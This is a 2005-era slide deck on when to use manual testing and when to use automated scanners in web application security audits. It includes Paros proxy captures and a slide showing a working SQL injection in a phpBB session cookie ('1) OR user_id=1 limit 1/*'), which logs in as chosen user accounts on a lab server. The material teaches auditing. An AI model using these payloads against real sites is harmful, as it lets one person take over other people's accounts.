



# Manual and Automated Approaches to Auditing Web Applications

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# Agenda

- What is the problem we're trying to solve?
- How to reach the right balance of manual and automated testing
- Some examples – *SQL injection, vulnerability impact, authentication*
- Summary

# Background

- Each layer of the OSI model affects a web application's security.
  - Vulnerabilities exhibit themselves differently.
    - SSL, SQL injection, user impersonation
  - Different approaches are required to identify vulnerabilities.
    - Network architecture, server configuration, application source code
  - Wide skill sets and knowledge are needed to identify vulnerabilities.
    - Cryptography, TCP/IP, SQL, PHP, Java, .NET

# Background

- Many vulnerabilities share common traits or identification techniques.
  - Common traits improve the quality of automated analysis.
    - SQL Server error codes
  - Well-defined techniques lend themselves to automation.
    - SQL injection against URL parameters

# Background

- Yet automation faces significant challenges.
  - Implementation of the web application affects the automated crawler
    - Use of JavaScript
  - Multi-stage processes may be easy to model, but hard to automate.
    - E-commerce shopping carts
    - Maintaining session through time-outs or re-authentication
  - Intentional countermeasures to automation
    - Human Interactive Proofs (HIP) and CAPTCHA

# Background

- So the question becomes,

*“How can I find and address the most critical vulnerabilities using limited resources?”*

- How do I know where best to apply tools?
- How do I know where best to rely on manual testing?

# Example Test Areas


- Server software
  - May not be fully patched
  - May be misconfigured
- Application engine
  - May not be fully patched
  - May be misconfigured
- Application code
  - Syntax errors
  - Semantic errors
  - Logical errors
- Example servers
  - IIS
  - Apache
- Example engines
  - Java
  - ASP.NET
- Example vulnerabilities
  - SQL injection
  - User impersonation
  - Privilege escalation

# Classifying Scanners

- Two possible approaches to classifying an automated scanner are based on...
  - Ability to interact with a web application
  - Types of tests, or number of tests, it can perform
- We'll consider scanners based on their ability to interact and understand a web application.
  - It's more important to have fewer, more accurate tests against the complete application.
  - Canned tests are misleading because they may not apply to your environment.



# Manual & Automated Testing



# Manual & Automated Testing

- 1<sup>st</sup> Generation Scanners
  - Require manual configuration for forms, authentication
  - Limited understanding of customized errors
  - Cannot parse dynamic JavaScript
- 2<sup>nd</sup> Generation Scanners
  - Automated form manipulation, authentication
  - Adapt to customized error pages
  - Parse some dynamic JavaScript

# Manual & Automated Testing

- 3<sup>rd</sup> Generation Scanners
  - Deductive identification of parameter delimiters and URL construction
    - URLs that don't use normal “page?a=2&b=2” construction
  - Automatically identify and test transactional processes.
  - Textual understanding of site content.
  - Parse dynamic JavaScript, including AJAX-style usage.

# Common Challenges

- JavaScript and Dynamic HTML
  - `<a href=void() onFoo=action()>`
- Multi-domain sites
- Multi-factor authentication
- Transactional processes
  - Shopping carts
  - Checkout process
  - Sequences of forms

# Common Challenges

- Valid input prerequisites in step A in order to find vulnerability in step B
  - if (IsValid(nZipCode))
    - {  
vulnerable\_function(param)  
}

# Web Applications Are Different

- Similar vulnerabilities may exhibit dissimilar properties due to error handling and underlying technologies.
  - SQL injection
  - XSS
- Vulnerabilities typically can't be mapped to vendor patches
  - Need to start with techniques, not exploits
  - Involves fewer signatures, more behavior-based analysis

# Web Applications Are Different

- Audit checklists require effective vulnerability classifications.
  - Speak a common language between auditors.
  - Provide fundamental remediation recommendations.
- WASC Categories *(<http://www.webappsec.org/>)*
  - Establish a common nomenclature
  - Classed by how attacks are executed
  - Provides guidance on secure web development

# Threat Models

- Threat models look at the impact of a vulnerability.
  - Help to understand the application
  - Identify where to look for vulnerabilities
  - Identify architectural problems
- Good threat models can also help determine where to run automated tools and where to focus manual tests.



# Threat Models

- A person defines the threat model
- A tool can only imitate attacks or a few specific threats.
  - Cross-site scripting
  - SQL injection
  - Generic parameter manipulation
  - Brute force password guessing
  - “Known” vulnerabilities based on default file names or default file locations

# Threat Models

- Automated tools identify vulnerabilities, not threats.
  - SQL injection is a vulnerability that can be exploited to execute different threats.
  - SQL injection can be conducted against any parameter that the web application manipulates, not just GET or POST data.
- For example, a threat might be the ability of one person to impersonate a different account.

Paros 3.2.4 - Untitled Session

File Edit View Scanner Report Tools Help

Sites

- Sites
- http://1
- http://1
- http://a
- http://a
- http://a
- http://e
- http://fi
- http://fi
- http://ir
- http://le
- http://lc
- http://r
- http://r

Request Response Trap

GET http://10.0.1.3/phpBB-1.0.0/bb\_profile.php?mode=edit HTTP/1.1  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, \*/\*  
Referer: http://10.0.1.3/phpBB-1.0.0/prefs.php  
Accept-Language: en-us  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Paros/3.2.4  
Host: 10.0.1.3  
Proxy-Connection: Keep-Alive  
Cookie: LastVisit=2005-09-26+21%3A46; phpBBsession=1191402003'  
Content-length: 0

Raw Vie...

413 POST http://10.0.1.3/phpBB-1.0.0/bb\_profile.php HTTP/1.1 => HTTP/1.1 200 OK [9.043 s]  
414 GET http://10.0.1.3/phpBB-1.0.0/prefs.php HTTP/1.1 => HTTP/1.1 200 OK [9.053 s]  
415 POST http://10.0.1.3/phpBB-1.0.0/prefs.php HTTP/1.1 => HTTP/1.1 200 OK [9.053 s]  
416 GET http://10.0.1.3/phpBB-1.0.0/bb\_profile.php?mode=edit HTTP/1.1 => HTTP/1.1 200 OK [9.043 s]  
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History Spider Alerts Output



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  - http://n
  - http://n

Request Response Trap


HTTP/1.1 200 OK  
Date: Tue, 27 Sep 2005 04:47:29 GMT  
Server: Apache/2.0.53 (Unix) PHP/4.3.11 mod\_perl/1.999.23 Perl/v5.8.6  
X-Powered-By: PHP/4.3.11  
Content-Length: 261  
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ") AND (start\_time > 1127792849) AND (remote\_ip = '10.0.1.4') at line 1 <br> Error doing DB query in get\_userid\_from\_session()

Raw Vie... ▾

413 POST http://10.0.1.3/phpBB-1.0.0/bb\_profile.php HTTP/1.1 => HTTP/1.1 200 OK [9.043 s]  
414 GET http://10.0.1.3/phpBB-1.0.0/prefs.php HTTP/1.1 => HTTP/1.1 200 OK [9.053 s]  
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
Request Response Trap

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Accept: \*/\*  
Referer: http://10.0.1.3/phpBB-1.0.0/prefs.php  
Accept-Language: en-us  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Paros/3.2.4  
Host: 10.0.1.3  
Proxy-Connection: Keep-Alive  
Pragma: no-cache  
Cookie: LastVisit=2005-09-26+21%3A46; phpBBsession=1)%20OR%20user\_id=1%20limit%201/\*  
Content-length: 0

Raw Vie...

426 GET http://10.0.1.3/phpBB-1.0.0/bb\_profile.php?mode=edit HTTP/1.1 => HTTP/1.1 200 OK [9.043 s]  
427 GET http://10.0.1.3/phpBB-1.0.0/bb\_profile.php?mode=edit HTTP/1.1 => HTTP/1.1 200 OK [9.033 s]  
428 GET http://10.0.1.3/phpBB-1.0.0/bb\_profile.php?mode=edit HTTP/1.1 => HTTP/1.1 200 OK [9.033 s]  
429 GET http://10.0.1.3/phpBB-1.0.0/bb\_profile.php?mode=edit HTTP/1.1 => HTTP/1.1 200 OK [9.033 s]  
430 GET http://10.0.1.3/phpBB-1.0.0/bb\_profile.php?mode=edit HTTP/1.1 => HTTP/1.1 200 OK [9.063 s]

History Spider Alerts Output



# SQL Injection Exploit

```
phpBBsession=1)%20OR%20user_id=1%20limit  
%201/*
```

```
SELECT user_id FROM session WHERE  
(sess_id = $sessid) AND (start_time...
```

- Alternate \$sessid payloads
  - 1) OR user\_id=1 limit 1/\*
  - 1) OR user\_id=2 limit 1/\*
  - 1) OR user\_id=3 limit 1/\*



# Threat Models

- Threat models guide where to apply tools.
- For example, consider the threat of an attacker who obtains someone's password.
  - No tool will have a “steal password” test.
  - You must identify the threat in order to identify the relevant tests.



# Example

- A few possible avenues of attack.
  - A cross-site scripting (XSS) attack from within the application steals the user's password.
    - A tool can test for common XSS payloads.
  - The attacker sniffs the password in transit
    - A tool can test if SSL is required during authentication and if the SSL encryption can be downgraded
  - The attacker uses a “phishing” attack via e-mail that does not involve the application.
    - A tool won't be able to test this scenario. Social engineering attacks are difficult to measure.

# Example

```
POST /login.cgi  
MemberName=mike&Password=intheclear
```

```
POST /login.cgi  
MemberName=mike&Password=563b21c9be06f2141e  
162c1c0cc5e7d1
```

```
POST /login.cgi  
MemberName=mike&Password=c8ad9bb304b288b58c  
0625586ccd5169&Challenge=abJruiLaP
```

# Example

- Password at rest
  - Encrypted hash in the database
- Password in transit
  - Encrypted hash
    - SHA1('foo')
  - Encrypted hash + salt
    - SHA1('salt' + 'foo')
  - Encrypted hash + challenge
    - SHA1(SHA1(challenge) + 'foo')

# Comprehensive Tests

- All tools generate a report, but someone must interpret each vulnerability.
  - Is it a false positive?
  - What is the immediate impact as tested?
  - Can the vulnerability be further exploited? Then what would be the impact?
- Does the tool provide any aid with resolving these questions?

# Benefits of Automation

- Improves efficiency for repetitive tasks.
  - Oriented towards vulnerability checklists, e.g. “test each parameter for SQL injection”
- Produce more constant results
  - Less variance in quality than different auditors
  - Able to test the 100<sup>th</sup> parameter as easily as the 1<sup>st</sup>.
- Concise reports help focus on problem areas.

# Benefits of Automation

- Tools are effective for aiding asset inventory.
  - Discover web applications on a network, especially for large institutions.
  - Provide simple description or summary of a web application.

# Caveats of Automation

- False positives
  - Reduces trust in the tool
  - Creates additional, unnecessary work
- False negatives
  - How do you know what it doesn't find?
- Insufficient tests
  - Use of encryption
  - Session handling
  - Authorization and privilege levels

# Benefits of Manual Audit

- Threat models are generated through a manual process.
  - Automated tools produce vulnerabilities known to the tool, not vulnerabilities related to the application's threats.
  - More manual interaction and understanding of the application leads to more complete security.
- Manual audits address more complex applications and more complex vulnerabilities.





Questions?



Thank you!

# Resources

- WASC – <http://www.webappsec.org/>
- Threat Modeling – <http://msdn.microsoft.com/security/securecode/threatmodeling/default.aspx>
- Web Hacking Tools – <http://www.portswigger.net/>
- Web Hacking Proxy – <http://www.parosproxy.org/>
- Python httplib, urllib2 – <http://www.python.org/>